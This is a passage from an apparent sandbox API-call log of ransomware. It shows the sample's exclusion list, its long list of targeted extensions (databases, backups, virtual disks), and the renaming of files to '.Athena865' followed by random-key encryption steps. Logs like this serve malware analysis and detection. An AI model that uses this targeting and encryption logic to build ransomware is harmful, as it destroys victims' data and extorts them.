ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0108.326] lstrcmpiW (lpString1="Content.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.326] lstrcmpiW (lpString1="Content.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2=".") returned 1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="..") returned 1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="windows") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="bootmgr") returned 1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="temp") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="pagefile.sys") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="boot") returned 1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="ids.txt") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="ntuser.dat") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="perflogs") returned -1 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2="MSBuild") returned -1 [0108.327] lstrlenW (lpString="Content.xml") returned 11 [0108.327] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Content.xml" | out: lpString1="Content.xml") returned="Content.xml" [0108.327] lstrlenW (lpString="Content.xml") returned 11 [0108.327] lstrlenW (lpString="Athena865") returned 9 [0108.327] lstrcmpiW (lpString1="ntent.xml", lpString2="Athena865") returned 1 [0108.327] lstrlenW (lpString=".dll") returned 4 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2=".dll") returned 1 [0108.327] lstrlenW (lpString=".lnk") returned 4 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2=".lnk") returned 1 [0108.327] lstrlenW (lpString=".ini") returned 4 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2=".ini") returned 1 [0108.327] lstrlenW (lpString=".sys") returned 4 [0108.327] lstrcmpiW (lpString1="Content.xml", lpString2=".sys") returned 1 [0108.327] lstrlenW (lpString="Content.xml") returned 11 [0108.327] lstrlenW (lpString="bak") returned 3 [0108.327] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0108.327] lstrlenW (lpString="ba_") returned 3 [0108.327] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0108.327] lstrlenW (lpString="dbb") returned 3 [0108.327] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0108.328] lstrlenW (lpString="vmdk") returned 4 [0108.328] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0108.328] lstrlenW (lpString="rar") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0108.328] lstrlenW (lpString="zip") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0108.328] lstrlenW (lpString="tgz") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0108.328] lstrlenW (lpString="vbox") returned 4 [0108.328] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0108.328] lstrlenW (lpString="vdi") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0108.328] lstrlenW (lpString="vhd") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0108.328] lstrlenW (lpString="vhdx") returned 4 [0108.328] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0108.328] lstrlenW (lpString="avhd") returned 4 [0108.328] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0108.328] lstrlenW (lpString="db") returned 2 [0108.328] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0108.328] lstrlenW (lpString="db2") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0108.328] lstrlenW (lpString="db3") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0108.328] lstrlenW (lpString="dbf") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0108.328] lstrlenW (lpString="mdf") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0108.328] lstrlenW (lpString="mdb") returned 3 [0108.328] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0108.328] lstrlenW (lpString="sql") returned 3 [0108.329] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0108.329] lstrlenW (lpString="sqlite") returned 6 [0108.329] lstrcmpiW (lpString1="nt.xml", lpString2="sqlite") returned -1 [0108.329] lstrlenW (lpString="sqlite3") returned 7 [0108.329] lstrcmpiW (lpString1="ent.xml", lpString2="sqlite3") returned -1 [0108.329] lstrlenW (lpString="sqlitedb") returned 8 [0108.329] lstrcmpiW (lpString1="tent.xml", lpString2="sqlitedb") returned 1 [0108.329] lstrlenW (lpString="xml") returned 3 [0108.329] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0108.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.Athena865") returned 72 [0108.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.athena865"), dwFlags=0x1) returned 1 [0108.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.330] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27045) returned 1 [0108.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.331] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.331] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.331] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6cb0, lpName=0x0) returned 0x17c [0108.333] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6cb0) returned 0x100000 [0108.338] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.339] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.339] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.339] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0108.340] CloseHandle (hObject=0x17c) returned 1 [0108.340] CloseHandle (hObject=0x154) returned 1 [0108.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.340] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".") returned 1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="..") returned 1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="windows") returned -1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootmgr") returned 1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="temp") returned -1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="pagefile.sys") returned -1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="boot") returned 1 [0108.340] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ids.txt") returned -1 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntuser.dat") returned -1 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="perflogs") returned -1 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="MSBuild") returned -1 [0108.341] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0108.341] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ConvertInkStore.exe" | out: lpString1="ConvertInkStore.exe") returned="ConvertInkStore.exe" [0108.341] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0108.341] lstrlenW (lpString="Athena865") returned 9 [0108.341] lstrcmpiW (lpString1="Store.exe", lpString2="Athena865") returned 1 [0108.341] lstrlenW (lpString=".dll") returned 4 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".dll") returned 1 [0108.341] lstrlenW (lpString=".lnk") returned 4 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".lnk") returned 1 [0108.341] lstrlenW (lpString=".ini") returned 4 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".ini") returned 1 [0108.341] lstrlenW (lpString=".sys") returned 4 [0108.341] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".sys") returned 1 [0108.341] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0108.341] lstrlenW (lpString="bak") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0108.341] lstrlenW (lpString="ba_") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0108.341] lstrlenW (lpString="dbb") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0108.341] lstrlenW (lpString="vmdk") returned 4 [0108.341] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0108.341] lstrlenW (lpString="rar") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0108.341] lstrlenW (lpString="zip") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0108.341] lstrlenW (lpString="tgz") returned 3 [0108.341] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0108.342] lstrlenW (lpString="vbox") returned 4 [0108.342] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0108.342] lstrlenW (lpString="vdi") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0108.342] lstrlenW (lpString="vhd") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0108.342] lstrlenW (lpString="vhdx") returned 4 [0108.342] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0108.342] lstrlenW (lpString="avhd") returned 4 [0108.342] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0108.342] lstrlenW (lpString="db") returned 2 [0108.342] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0108.342] lstrlenW (lpString="db2") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0108.342] lstrlenW (lpString="db3") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0108.342] lstrlenW (lpString="dbf") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0108.342] lstrlenW (lpString="mdf") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0108.342] lstrlenW (lpString="mdb") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0108.342] lstrlenW (lpString="sql") returned 3 [0108.342] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0108.342] lstrlenW (lpString="sqlite") returned 6 [0108.342] lstrcmpiW (lpString1="re.exe", lpString2="sqlite") returned -1 [0108.342] lstrlenW (lpString="sqlite3") returned 7 [0108.342] lstrcmpiW (lpString1="ore.exe", lpString2="sqlite3") returned -1 [0108.342] lstrlenW (lpString="sqlitedb") returned 8 [0108.342] lstrcmpiW (lpString1="tore.exe", lpString2="sqlitedb") returned 1 [0108.342] lstrlenW (lpString="xml") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0108.343] lstrlenW (lpString="$er") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0108.343] lstrlenW (lpString="4dd") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0108.343] lstrlenW (lpString="4dl") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0108.343] lstrlenW (lpString="^^^") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0108.343] lstrlenW (lpString="abs") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0108.343] lstrlenW (lpString="abx") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0108.343] lstrlenW (lpString="accdb") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0108.343] lstrlenW (lpString="accdc") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0108.343] lstrlenW (lpString="accde") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0108.343] lstrlenW (lpString="accdr") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0108.343] lstrlenW (lpString="accdt") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0108.343] lstrlenW (lpString="accdw") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0108.343] lstrlenW (lpString="accft") returned 5 [0108.343] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0108.343] lstrlenW (lpString="adb") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0108.343] lstrlenW (lpString="adb") returned 3 [0108.343] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0108.344] lstrlenW (lpString="ade") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0108.344] lstrlenW (lpString="adf") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0108.344] lstrlenW (lpString="adn") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0108.344] lstrlenW (lpString="adp") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0108.344] lstrlenW (lpString="alf") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0108.344] lstrlenW (lpString="ask") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0108.344] lstrlenW (lpString="btr") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0108.344] lstrlenW (lpString="cat") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0108.344] lstrlenW (lpString="cdb") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0108.344] lstrlenW (lpString="ckp") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0108.344] lstrlenW (lpString="cma") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0108.344] lstrlenW (lpString="cpd") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0108.344] lstrlenW (lpString="dacpac") returned 6 [0108.344] lstrcmpiW (lpString1="re.exe", lpString2="dacpac") returned 1 [0108.344] lstrlenW (lpString="dad") returned 3 [0108.344] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0108.344] lstrlenW (lpString="dadiagrams") returned 10 [0108.345] lstrcmpiW (lpString1="kStore.exe", lpString2="dadiagrams") returned 1 [0108.345] lstrlenW (lpString="daschema") returned 8 [0108.345] lstrcmpiW (lpString1="tore.exe", lpString2="daschema") returned 1 [0108.345] lstrlenW (lpString="db-journal") returned 10 [0108.345] lstrcmpiW (lpString1="kStore.exe", lpString2="db-journal") returned 1 [0108.345] lstrlenW (lpString="db-shm") returned 6 [0108.345] lstrcmpiW (lpString1="re.exe", lpString2="db-shm") returned 1 [0108.345] lstrlenW (lpString="db-wal") returned 6 [0108.345] lstrcmpiW (lpString1="re.exe", lpString2="db-wal") returned 1 [0108.345] lstrlenW (lpString="dbc") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0108.345] lstrlenW (lpString="dbs") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0108.345] lstrlenW (lpString="dbt") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0108.345] lstrlenW (lpString="dbv") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0108.345] lstrlenW (lpString="dbx") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0108.345] lstrlenW (lpString="dcb") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0108.345] lstrlenW (lpString="dct") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0108.345] lstrlenW (lpString="dcx") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0108.345] lstrlenW (lpString="ddl") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0108.345] lstrlenW (lpString="dlis") returned 4 [0108.345] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0108.345] lstrlenW (lpString="dp1") returned 3 [0108.345] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0108.346] lstrlenW (lpString="dqy") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0108.346] lstrlenW (lpString="dsk") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0108.346] lstrlenW (lpString="dsn") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0108.346] lstrlenW (lpString="dtsx") returned 4 [0108.346] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0108.346] lstrlenW (lpString="dxl") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0108.346] lstrlenW (lpString="eco") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0108.346] lstrlenW (lpString="ecx") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0108.346] lstrlenW (lpString="edb") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0108.346] lstrlenW (lpString="epim") returned 4 [0108.346] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0108.346] lstrlenW (lpString="fcd") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0108.346] lstrlenW (lpString="fdb") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0108.346] lstrlenW (lpString="fic") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0108.346] lstrlenW (lpString="flexolibrary") returned 12 [0108.346] lstrcmpiW (lpString1="InkStore.exe", lpString2="flexolibrary") returned 1 [0108.346] lstrlenW (lpString="fm5") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0108.346] lstrlenW (lpString="fmp") returned 3 [0108.346] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0108.346] lstrlenW (lpString="fmp12") returned 5 [0108.346] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0108.346] lstrlenW (lpString="fmpsl") returned 5 [0108.347] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0108.347] lstrlenW (lpString="fol") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0108.347] lstrlenW (lpString="fp3") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0108.347] lstrlenW (lpString="fp4") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0108.347] lstrlenW (lpString="fp5") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0108.347] lstrlenW (lpString="fp7") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0108.347] lstrlenW (lpString="fpt") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0108.347] lstrlenW (lpString="frm") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0108.347] lstrlenW (lpString="gdb") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0108.347] lstrlenW (lpString="gdb") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0108.347] lstrlenW (lpString="grdb") returned 4 [0108.347] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0108.347] lstrlenW (lpString="gwi") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0108.347] lstrlenW (lpString="hdb") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0108.347] lstrlenW (lpString="his") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0108.347] lstrlenW (lpString="ib") returned 2 [0108.347] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0108.347] lstrlenW (lpString="idb") returned 3 [0108.347] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0108.347] lstrlenW (lpString="ihx") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0108.348] lstrlenW (lpString="itdb") returned 4 [0108.348] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0108.348] lstrlenW (lpString="itw") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0108.348] lstrlenW (lpString="jet") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0108.348] lstrlenW (lpString="jtx") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0108.348] lstrlenW (lpString="kdb") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0108.348] lstrlenW (lpString="kexi") returned 4 [0108.348] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0108.348] lstrlenW (lpString="kexic") returned 5 [0108.348] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0108.348] lstrlenW (lpString="kexis") returned 5 [0108.348] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0108.348] lstrlenW (lpString="lgc") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0108.348] lstrlenW (lpString="lwx") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0108.348] lstrlenW (lpString="maf") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0108.348] lstrlenW (lpString="maq") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0108.348] lstrlenW (lpString="mar") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0108.348] lstrlenW (lpString="marshal") returned 7 [0108.348] lstrcmpiW (lpString1="ore.exe", lpString2="marshal") returned 1 [0108.348] lstrlenW (lpString="mas") returned 3 [0108.348] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0108.348] lstrlenW (lpString="mav") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0108.349] lstrlenW (lpString="maw") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0108.349] lstrlenW (lpString="mdbhtml") returned 7 [0108.349] lstrcmpiW (lpString1="ore.exe", lpString2="mdbhtml") returned 1 [0108.349] lstrlenW (lpString="mdn") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0108.349] lstrlenW (lpString="mdt") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0108.349] lstrlenW (lpString="mfd") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0108.349] lstrlenW (lpString="mpd") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0108.349] lstrlenW (lpString="mrg") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0108.349] lstrlenW (lpString="mud") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0108.349] lstrlenW (lpString="mwb") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0108.349] lstrlenW (lpString="myd") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0108.349] lstrlenW (lpString="ndf") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0108.349] lstrlenW (lpString="nnt") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0108.349] lstrlenW (lpString="nrmlib") returned 6 [0108.349] lstrcmpiW (lpString1="re.exe", lpString2="nrmlib") returned 1 [0108.349] lstrlenW (lpString="ns2") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0108.349] lstrlenW (lpString="ns3") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0108.349] lstrlenW (lpString="ns4") returned 3 [0108.349] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0108.350] lstrlenW (lpString="nsf") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0108.350] lstrlenW (lpString="nv") returned 2 [0108.350] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0108.350] lstrlenW (lpString="nv2") returned 3 [0108.350] lstrcmpiW 